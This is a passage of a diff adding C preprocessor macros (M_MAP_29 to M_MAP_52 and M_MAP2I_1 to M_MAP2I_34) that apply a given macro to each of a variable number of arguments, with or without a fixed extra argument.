+#define M_MAP_29(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) 
+#define M_MAP_30(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) 
+#define M_MAP_31(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) 
+#define M_MAP_32(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) 
+#define M_MAP_33(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) 
+#define M_MAP_34(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) 
+#define M_MAP_35(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) 
+#define M_MAP_36(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) 
+#define M_MAP_37(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) 
+#define M_MAP_38(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) 
+#define M_MAP_39(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) 
+#define M_MAP_40(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) 
+#define M_MAP_41(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) 
+#define M_MAP_42(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) 
+#define M_MAP_43(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) 
+#define M_MAP_44(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) 
+#define M_MAP_45(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) 
+#define M_MAP_46(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) 
+#define M_MAP_47(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) 
+#define M_MAP_48(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) 
+#define M_MAP_49(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) 
+#define M_MAP_50(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) f(_50) 
+#define M_MAP_51(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) f(_50) f(_51) 
+#define M_MAP_52(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) f(_50) f(_51) f(_52) 
+
+
+/* Map a macro to all given arguments with one additional fixed data (non recursive version) */
+/* Example: M_MAP2(f, data, a, b, c) ==> f(data,a) f(data,b) f(data,c) */
+#define M_MAP2(...)        M_MAP2I_0(__VA_ARGS__)
+#define M_MAP2I_0(f, d, ...)  M_C(M_MAP2I_, M_NARGS(__VA_ARGS__))(f, d, __VA_ARGS__)
+#define M_MAP2I_1(f, d, _1) f(d, _1) 
+#define M_MAP2I_2(f, d, _1, _2) f(d, _1) f(d, _2) 
+#define M_MAP2I_3(f, d, _1, _2, _3) f(d, _1) f(d, _2) f(d, _3) 
+#define M_MAP2I_4(f, d, _1, _2, _3, _4) f(d, _1) f(d, _2) f(d, _3) f(d, _4) 
+#define M_MAP2I_5(f, d, _1, _2, _3, _4, _5) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) 
+#define M_MAP2I_6(f, d, _1, _2, _3, _4, _5, _6) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) 
+#define M_MAP2I_7(f, d, _1, _2, _3, _4, _5, _6, _7) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) 
+#define M_MAP2I_8(f, d, _1, _2, _3, _4, _5, _6, _7, _8) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) 
+#define M_MAP2I_9(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) 
+#define M_MAP2I_10(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) 
+#define M_MAP2I_11(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) 
+#define M_MAP2I_12(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) 
+#define M_MAP2I_13(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) 
+#define M_MAP2I_14(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) 
+#define M_MAP2I_15(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) 
+#define M_MAP2I_16(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) 
+#define M_MAP2I_17(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) 
+#define M_MAP2I_18(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) 
+#define M_MAP2I_19(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) 
+#define M_MAP2I_20(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) 
+#define M_MAP2I_21(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) 
+#define M_MAP2I_22(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) 
+#define M_MAP2I_23(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) 
+#define M_MAP2I_24(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) 
+#define M_MAP2I_25(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) 
+#define M_MAP2I_26(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) 
+#define M_MAP2I_27(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) 
+#define M_MAP2I_28(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) 
+#define M_MAP2I_29(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) 
+#define M_MAP2I_30(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) 
+#define M_MAP2I_31(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) 
+#define M_MAP2I_32(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) 
+#define M_MAP2I_33(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) 
+#define M_MAP2I_34(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) 
